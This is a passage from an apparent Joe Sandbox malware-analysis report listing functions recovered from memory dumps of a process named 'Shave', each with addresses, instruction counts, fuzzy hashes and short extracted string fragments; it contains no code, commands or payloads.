Opcode Fuzzy Hash: 6bfb0362205a8f061ddb3a82a83511b1ce7ea5454133ba390662b09d12ebf880
Instruction Fuzzy Hash: 244159B1E016588BEB58CF67C9447DEFAF3AFC9304F14C1AAC50CA6264DB750A868F51

Function 379F0D78 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7604e6316e9665adfb08807f5b8e747d86822e3a9d4e59feaa17a69d5ad3019e
Instruction ID: 14542261c9d34040aa5bacd6a404a49acf38efc20eb23895f4795d6a7e6354a2
Opcode Fuzzy Hash: 7604e6316e9665adfb08807f5b8e747d86822e3a9d4e59feaa17a69d5ad3019e
Instruction Fuzzy Hash: 334158B5E016188BEB58CF5BC9447DEFAF3AFC9304F14C1AAC50CA6254EB750A868F51

Function 04B0E9C8 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec325da7067e0e4cb7a6f7b78215717d0934115ed4c88a19eed2f80dfc1ae47a
Instruction ID: 2a0e0d32b8fcf0f72e44a081fc129980cdbd8e96c43289f462285d3f18c4b8c1
Opcode Fuzzy Hash: ec325da7067e0e4cb7a6f7b78215717d0934115ed4c88a19eed2f80dfc1ae47a
Instruction Fuzzy Hash: E341E574E016488BDB08DFAAD8846DDBBF2FF88304F20C12AC419BB294EB745946CF50

Function 04B07B69 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc0b10915f92369587e9a2d15c3f60848a7c042c9e7d0a972d4ac55535905916
Instruction ID: a4d7e6369a517a2ea6bd1f03ceb09b19d12e676158acd67271eae4f893011f30
Opcode Fuzzy Hash: fc0b10915f92369587e9a2d15c3f60848a7c042c9e7d0a972d4ac55535905916
Instruction Fuzzy Hash: 8141B2B0D006088BDB18DFAAC8547DDBBF2BF89315F14C16AC428BB290EB755946CF54

Function 379F2FF8 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5f326469d34845d92e98911a3a40f11730baaa07b0768a9d63745f4a6671a31
Instruction ID: 170f2454e5c1a759b3a06f91e90df9c09fc6ab6a8e2164d7ab965c751aa8c0cb
Opcode Fuzzy Hash: d5f326469d34845d92e98911a3a40f11730baaa07b0768a9d63745f4a6671a31
Instruction Fuzzy Hash: D24159B1E016598BEB58CF6BC9447DEFAF3AFC9204F14C1AAC40CA6254DB750A858F51

Function 04B36609 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72cae269b964b2b8696e2f9a723682944a4b1ed78787065bfe7aa65b530db161
Instruction ID: aac99449889fe5e2e2f6dc9877419f622bbf78806f3447b2d0c138b7d54c506a
Opcode Fuzzy Hash: 72cae269b964b2b8696e2f9a723682944a4b1ed78787065bfe7aa65b530db161
Instruction Fuzzy Hash: C9410574E002188BEB19DFAAD9547DDBBF2BF89304F24D069D419BB254EB346906CF00

Function 379F2229 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba105648afbbc5a3dffa15d2b62d6005c063f2f1af7bd0f555c68993a8621eb3
Instruction ID: 790d52d4065d0e2d4541fe9bd5087cdd8c79acac1daf6dfc013a45198826152a
Opcode Fuzzy Hash: ba105648afbbc5a3dffa15d2b62d6005c063f2f1af7bd0f555c68993a8621eb3
Instruction Fuzzy Hash: 84417C71D016188BEB58CF67C9447DEFAF3AFC9304F14C1AAC40CA6254DB750A858F51

Function 04B36668 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a78002b1858ea4afe0405bc671a627dbbae1e46bcc0bda177c212ff65c92ffb3
Instruction ID: 7ec111006b6de3d1d9c1ff269b25af9c1f9889dcd9e4faab641d3101383164fe
Opcode Fuzzy Hash: a78002b1858ea4afe0405bc671a627dbbae1e46bcc0bda177c212ff65c92ffb3
Instruction Fuzzy Hash: F241F174E002588BDB18DFAAD8947DEBBF2BF89300F20D16AC418BB255EB345946CF40

Function 04B08FA1 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66b4e4d949f41cfa2b87980e748822e1163944c2ff782a18ca3cd16f2aeb0c63
Instruction ID: b966be153140b9ddb23552ecfce362b4804c4bfc7fa719677d3ff8166df6f2d1
Opcode Fuzzy Hash: 66b4e4d949f41cfa2b87980e748822e1163944c2ff782a18ca3cd16f2aeb0c63
Instruction Fuzzy Hash: 7E41D7B4E012488BDB08DFAAD8506DDFBF2AF89304F20C129D419BB255EB355946CF50

Function 04E41CE0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7358dd75dd0750aa2f8fa0fd07b74f006bcd276f805dbacc3f46f41f44376983
Instruction ID: 79804fa2684d885e7950ed466a12e4c2558be89c2f03976243f5708b5fa475ce
Opcode Fuzzy Hash: 7358dd75dd0750aa2f8fa0fd07b74f006bcd276f805dbacc3f46f41f44376983
Instruction Fuzzy Hash: E241F2B4E002188BDB18DFAAD8546DEFBF2BF89300F24D16AD518BB255EB345946CF40

Function 3831D999 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e83371febaaa5c1b88b77623961bc407685bc9d5389b998b253a815846056720
Instruction ID: 0262f19b5e208e3ffa38aa25719122758953ff291348eb33b44c32adfa289477
Opcode Fuzzy Hash: e83371febaaa5c1b88b77623961bc407685bc9d5389b998b253a815846056720
Instruction Fuzzy Hash: 7C41E274D01248CBEB18DFAAC8506EEBBF2AF89300F24D12AC418BB359DB755946CF00

Function 3831DDFF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da7162e02a788b8ca80135ea315de777750b2466053b74d4e4615536cd5fa99
Instruction ID: e9dfc731b4c1668ee108769f7e4bce41bd6d3d07362489c77f51ca345b7104c4
Opcode Fuzzy Hash: 0da7162e02a788b8ca80135ea315de777750b2466053b74d4e4615536cd5fa99
Instruction Fuzzy Hash: 7E41C1B4E01248CBEB18DFAAD9506DDBBF2AF89300F20D12AD418BB355DB355946CF50

Function 3831DDF1 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ab3b6cab31a6cefd33ad1d76f4656dde45835238e46b045dc89050d4b9f984
Instruction ID: 32e07244292284a1f78f3340935b109de26350c12c1e1cf3d2f1bc7b638f4243
Opcode Fuzzy Hash: 94ab3b6cab31a6cefd33ad1d76f4656dde45835238e46b045dc89050d4b9f984
Instruction Fuzzy Hash: DE31B2B5E01208CBEB08DFAAD8416DDBBB2AF89300F24D12AC418BB355DB359946CF50

Function 001576F1 Relevance: 10.5, Strings: 8, Instructions: 475COMMON

Download Yara Rule

Strings

(o]q, xrefs: 00157815
,aq, xrefs: 00157B90
(o]q, xrefs: 001577E9
(o]q, xrefs: 00157C0F
(o]q, xrefs: 001578B2
,aq, xrefs: 00157BA0
(o]q, xrefs: 00157BFF
(o]q, xrefs: 0015772E

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-1435242062
Opcode ID: 2c79297187aa04342b964b6c6e5020d6dd979fa85b1a0ad6a4cbf481b759efee
Instruction ID: 80a77326c0df9e9c3ab57840dbd50335698a706b535da10f8b942afe87097d08
Opcode Fuzzy Hash: 2c79297187aa04342b964b6c6e5020d6dd979fa85b1a0ad6a4cbf481b759efee
Instruction Fuzzy Hash: 95128E30A04205CFCB15CF68E985A9EBBF1FF49315F148599E869DB2A1D730ED49CB50

Function 38313FE8 Relevance: 6.6, Strings: 5, Instructions: 394COMMON

Download Yara Rule

Strings

TJbq, xrefs: 38314462
8bq, xrefs: 38314429
Haq, xrefs: 383141D2
Haq, xrefs: 38314036
Haq, xrefs: 38314231

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID: 8bq$Haq$Haq$Haq$TJbq
API String ID: 0-1597716666
Opcode ID: 0834c4c59148c8a28da9c119c0398a8a9f083009208a386d9f4a07ebdcaa1d8e
Instruction ID: b8db7c68f9443850327362ed9220cb7e88ed461b6933b1ae61bd513131f258fb
Opcode Fuzzy Hash: 0834c4c59148c8a28da9c119c0398a8a9f083009208a386d9f4a07ebdcaa1d8e
Instruction Fuzzy Hash: 9AD1D334B442048FDB08EF68C491AAEBBB7FF89720F144566E505DB3A1CA35DE46CB91

Function 38313A50 Relevance: 5.2, Strings: 4, Instructions: 231COMMON

Download Yara Rule

Strings

, xrefs: 38313B4D
Haq, xrefs: 38313CEE
Haq, xrefs: 38313D21
Haq, xrefs: 38313CBB

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID: $Haq$Haq$Haq
API String ID: 0-432640594
Opcode ID: 54a5098ce21dc0c23e228d011d4c3afe8dba71e8c19e3b976600d58b89296681
Instruction ID: 858f9d5f51a4f4ddb09404f8260ddbea5a198db40ba9dcb537ccc836b8112db4
Opcode Fuzzy Hash: 54a5098ce21dc0c23e228d011d4c3afe8dba71e8c19e3b976600d58b89296681
Instruction Fuzzy Hash: 9381E734B44304DFDB196F38945526E3AA6EFC5761F208229E8169B3D1DF398D42CB92

Function 04B09841 Relevance: 4.0, Strings: 3, Instructions: 239COMMON

Download Yara Rule

Strings

D@, xrefs: 04B09BF1
D@, xrefs: 04B09A46
D@, xrefs: 04B09B83

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID: D@$D@$D@
API String ID: 0-3330130650
Opcode ID: 24302b3c7e3e2ec31657ee40cf475ed9de119024a0b9e0447d739c635d274a7b
Instruction ID: 173192cfe9937fe14d02b96031f006e78cd61c82c99d34ca35ef5818752bbd5b
Opcode Fuzzy Hash: 24302b3c7e3e2ec31657ee40cf475ed9de119024a0b9e0447d739c635d274a7b
Instruction Fuzzy Hash: C8C1AF74E002298FDB64DF68C855BDEBBB2BB88300F1081E9D50DA7291DB746E85DF50

Function 04B09850 Relevance: 4.0, Strings: 3, Instructions: 232COMMON

Download Yara Rule

Strings

D@, xrefs: 04B09BF1
D@, xrefs: 04B09A46
D@, xrefs: 04B09B83

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID: D@$D@$D@
API String ID: 0-3330130650
Opcode ID: 94141ed8813611e236a8ac25daee37cf83f697c47d818405a760b99d25b845d2
Instruction ID: 760c62552d12f0455c9145f22e91b801d899617efb6b2ac740acf7fd5492f734
Opcode Fuzzy Hash: 94141ed8813611e236a8ac25daee37cf83f697c47d818405a760b99d25b845d2
Instruction Fuzzy Hash: 2BB1AF74E002298FDB64DF68C855BDEBBB2BB88300F1081E9D50DA7291DB74AE85DF51

Function 379F60C4 Relevance: 3.3, Strings: 2, Instructions: 772COMMON

Download Yara Rule

Strings

Te]q, xrefs: 379F6665
4U%5, xrefs: 379F6318, 379F6916, 379F6EC7, 379F7151

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5$Te]q
API String ID: 0-1459978942
Opcode ID: c4f2de676643b5a217f2ddcd8d31c63bac6b68c00bbb39358adcc6f00452161c
Instruction ID: 5c6e9384827e5ccfea873f75d674ccaacdf0b9ec22b72f6518fc13f1d762e1a8
Opcode Fuzzy Hash: c4f2de676643b5a217f2ddcd8d31c63bac6b68c00bbb39358adcc6f00452161c
Instruction Fuzzy Hash: DD82D074A01269CFDB64DF24C994BADB7B6BF89304F2041E9D80967361CB35AE86CF44

Function 379F43A7 Relevance: 3.3, Strings: 2, Instructions: 771COMMON

Download Yara Rule

Strings

Te]q, xrefs: 379F493D
Te]q, xrefs: 379F4916

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 1af1c1f313c5ab2037fb4b3849753fe48ffeee41250432323d3fbbd022111e03
Instruction ID: 45fe2688a74b9c458041cd2aa7f51bc0cf7eec000ca9bc25ddb5bfee634f15ff
Opcode Fuzzy Hash: 1af1c1f313c5ab2037fb4b3849753fe48ffeee41250432323d3fbbd022111e03
Instruction Fuzzy Hash: 7B82E074A01268CFDB64DF24C994BADBBB2FB49301F2045E9D909A7360DB35AE85CF44

Function 379F60C2 Relevance: 3.3, Strings: 2, Instructions: 769COMMON

Download Yara Rule

Strings

Te]q, xrefs: 379F6665
4U%5, xrefs: 379F6318, 379F6916, 379F6EC7, 379F7151

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5$Te]q
API String ID: 0-1459978942
Opcode ID: d29717e6a308fde5f5cc94a279b2565faecd7a81cc3fc1123c1f4efc54a420ea
Instruction ID: 35b16a5a059370d632d7a4e377ad146e08c626c996873cddf5185cc7c24add40
Opcode Fuzzy Hash: d29717e6a308fde5f5cc94a279b2565faecd7a81cc3fc1123c1f4efc54a420ea
Instruction Fuzzy Hash: 5782D074A01269CFCB64DF24C994BADB7B6BF89304F2041E9D80967361CB35AE86CF44

Function 379F43A5 Relevance: 3.3, Strings: 2, Instructions: 768COMMON

Download Yara Rule

Strings

Te]q, xrefs: 379F493D
Te]q, xrefs: 379F4916

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 3aeea767de4b936e15c7ffad296609e942562c95b676600fbab7b6898146e047
Instruction ID: 9665839885a2c14e2e2d506f6a38011b036e8b1d7c1e0756eaa3463945e6adf3
Opcode Fuzzy Hash: 3aeea767de4b936e15c7ffad296609e942562c95b676600fbab7b6898146e047
Instruction Fuzzy Hash: 5782E074A01268CFDB64DF24C994BADBBB2FB49301F2045E9D909A7360DB35AE85CF44

Function 00158490 Relevance: 3.2, Strings: 2, Instructions: 703COMMON

Download Yara Rule

Strings

$]q, xrefs: 00158FD7
$]q, xrefs: 00158FB4

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 74dc48c6ab4a1f6b491defb5168be9bbcf4a5eb407964156ffa351dfe56530ec
Instruction ID: 7105e627a60e11b7d43a24923e1fb71238fca9a72d3fa0e6e749edc52ef8abf4
Opcode Fuzzy Hash: 74dc48c6ab4a1f6b491defb5168be9bbcf4a5eb407964156ffa351dfe56530ec
Instruction Fuzzy Hash: B6520074A00218CFEB159BA4C960B9EBBB7EF84300F1080ADD55A6B3A6CF355E45DF91

Function 379F475F Relevance: 3.1, Strings: 2, Instructions: 590COMMON

Download Yara Rule

Strings

Te]q, xrefs: 379F493D
Te]q, xrefs: 379F4916

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 54f2521fb969af1745ce684c9522646e883d7de086e6f3fa461b1b3abf318d3e
Instruction ID: 6ef6d3e45b15bac87c92185f1fbff0ec46cfc5588a2649eeabda4de402317ede
Opcode Fuzzy Hash: 54f2521fb969af1745ce684c9522646e883d7de086e6f3fa461b1b3abf318d3e
Instruction Fuzzy Hash: 2C52DF74A01268CFDB64DF24C994BADBBB2FB49300F2045E9D909A7361DB35AE85CF44

Function 379F6493 Relevance: 3.1, Strings: 2, Instructions: 586COMMON

Download Yara Rule

Strings

Te]q, xrefs: 379F6665
4U%5, xrefs: 379F6916, 379F6EC7, 379F7151

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5$Te]q
API String ID: 0-1459978942
Opcode ID: b9cd742b7ae516684875dd3025b376099aa7f61c15770068732f5daeaca74f7e
Instruction ID: 1964728052133ed941491fec5b18f25d1fbb7403f6416fbd832eb3d5d7f3b4bf
Opcode Fuzzy Hash: b9cd742b7ae516684875dd3025b376099aa7f61c15770068732f5daeaca74f7e
Instruction Fuzzy Hash: F052DF74A00229CFDB64DF24C994BADB7B6BF49304F2041E9D909A7361DB35AE86CF44

Function 00155F38 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

Haq, xrefs: 00156023
Haq, xrefs: 00156056

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: dd2be83bf3cdd277b1333f1d760b4dd3243b8b71f370c98d7a197c6a7e3b4341
Instruction ID: eb0055eeed43cfec6250c371ba0844dcd9562297f71fab7b4953f132af7b58d4
Opcode Fuzzy Hash: dd2be83bf3cdd277b1333f1d760b4dd3243b8b71f370c98d7a197c6a7e3b4341
Instruction Fuzzy Hash: D7B1AE30708251CFCB159F258894A7A7BB6AFC9302F55456AE816CB3A2DB34CC8AD791

Function 04B5E950 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

LR]q, xrefs: 04B5E96C
LR]q, xrefs: 04B5EA99

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID: LR]q$LR]q
API String ID: 0-3917262905
Opcode ID: 68643f3e1138bee9242e1532bb6dee585d41afb3ed0a29e139019ac9283a04ae
Instruction ID: 7f8f0c5be7c764e9c83914b43ed792965a18c2f8327a4abc2d69cbaa289db749
Opcode Fuzzy Hash: 68643f3e1138bee9242e1532bb6dee585d41afb3ed0a29e139019ac9283a04ae
Instruction Fuzzy Hash: 15816C34B101058FDB04DF78C894A6EB7B6FF89644B1581A9E906DB3B1EB34ED02CB91

Function 00156498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,aq, xrefs: 00156578
,aq, xrefs: 0015656E

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: 9e9588b90ffcbf8bf22e701db92ba289497d3d81accad664ab4101c81d16d1b9
Instruction ID: b9bda2ee919a0878cdbbec1f76393b297414f080ef3aa0f593be50ec33f735e2
Opcode Fuzzy Hash: 9e9588b90ffcbf8bf22e701db92ba289497d3d81accad664ab4101c81d16d1b9
Instruction Fuzzy Hash: FB819134A00505CFCB58CF69C484969BBB2BF89312BA58169D825DB365DB31EC49CBE1

Function 04B08A68 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

(aq, xrefs: 04B08C42
(&]q, xrefs: 04B08B83

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID: (&]q$(aq
API String ID: 0-1602648543
Opcode ID: 1faebcb366cce35fd7c66d59bfc22e5dbe6fd94f49ff4620cdd8a479a0db1f3a
Instruction ID: 1d68d1af9196a0b8286fb2d98e80ecd7e8ed990d9a05ef23c927b359625192d8
Opcode Fuzzy Hash: 1faebcb366cce35fd7c66d59bfc22e5dbe6fd94f49ff4620cdd8a479a0db1f3a
Instruction Fuzzy Hash: 35719431F002199BDB15EFA9C8506EEBFB2AFC8700F148569E405A7381DF34AE46CB91

Function 04B09CD7 Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

D@, xrefs: 04B09D89
D@, xrefs: 04B09E40

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID: D@$D@
API String ID: 0-548349879
Opcode ID: b65aa5974d1d03314b551d9e6086f9596f38039756becb221a96b375837a59a1
Instruction ID: dbfeb5932189549533614ca2e07efa2236bfee0f6271365371c251ba54d2ea7f
Opcode Fuzzy Hash: b65aa5974d1d03314b551d9e6086f9596f38039756becb221a96b375837a59a1
Instruction Fuzzy Hash: AD51B574D002199FDB04DFA9C555AEEBBF2FF88300F208569D505AB395DB346A46CF90

Function 38314351 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

TJbq, xrefs: 38314462
8bq, xrefs: 38314429

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID: 8bq$TJbq
API String ID: 0-3440557903
Opcode ID: 20031cf8a66bb82f58b83e2e12656be36ac119a6955bc96a4fc2217046a23d6e
Instruction ID: dbf04bbcb5f59c5f43847e336fbb9f52472bb61bdf4089f6fbb834f6209d18dc
Opcode Fuzzy Hash: 20031cf8a66bb82f58b83e2e12656be36ac119a6955bc96a4fc2217046a23d6e
Instruction Fuzzy Hash: 3F312434B402098FCB48EFA8C581E9EBBB6FF88320F195550E505AB366CB30ED45CB91

Function 38314385 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

TJbq, xrefs: 38314462
8bq, xrefs: 38314429

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID: 8bq$TJbq
API String ID: 0-3440557903
Opcode ID: 37e4dea0576e0d90892409769853b245a48b8a06ad55c23c57f8a79b23cc1c8d
Instruction ID: 5bcb63ab6f1b4aec5c2897e4682e09e76a29f84415be79a98713b7271123a7cf
Opcode Fuzzy Hash: 37e4dea0576e0d90892409769853b245a48b8a06ad55c23c57f8a79b23cc1c8d
Instruction Fuzzy Hash: 0F313534B402098FCB44EFA8C591E9EBBB6EF88320F155554E505AF376CA70ED45CB91

Function 00159D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4']q, xrefs: 00159D6D
4']q, xrefs: 00159D84

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 3c93c58f42ca495b962d36dd347669ef8c1df11972e5685e71ba2a10bcb78d70
Instruction ID: 58c39bfbb38937fe168a1097e53c0b5fcf7d67b656e2592e13a51525031c3923
Opcode Fuzzy Hash: 3c93c58f42ca495b962d36dd347669ef8c1df11972e5685e71ba2a10bcb78d70
Instruction Fuzzy Hash: B0F0A435300104AFDB081BAA985497ABBDBEFC8361B044429BD1AC7350DF65CC0583A1

Function 00150CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00150F19

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 6052eb7106193c05ecc2bb957d881ba92fc5c8cdf8445b18c7cb372bf1b8fe7b
Instruction ID: a2da8ff844d4798f65e33cac24b4bd7fe20cf2506fdf3678708e68edb7cd44d8
Opcode Fuzzy Hash: 6052eb7106193c05ecc2bb957d881ba92fc5c8cdf8445b18c7cb372bf1b8fe7b
Instruction Fuzzy Hash: 26520874A00659CFCB54EF64DD84A8DBBB2FF48341F2081A9D50AA7365DB346E86CF84

Function 38314790 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

Haq, xrefs: 38314825

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID: Haq
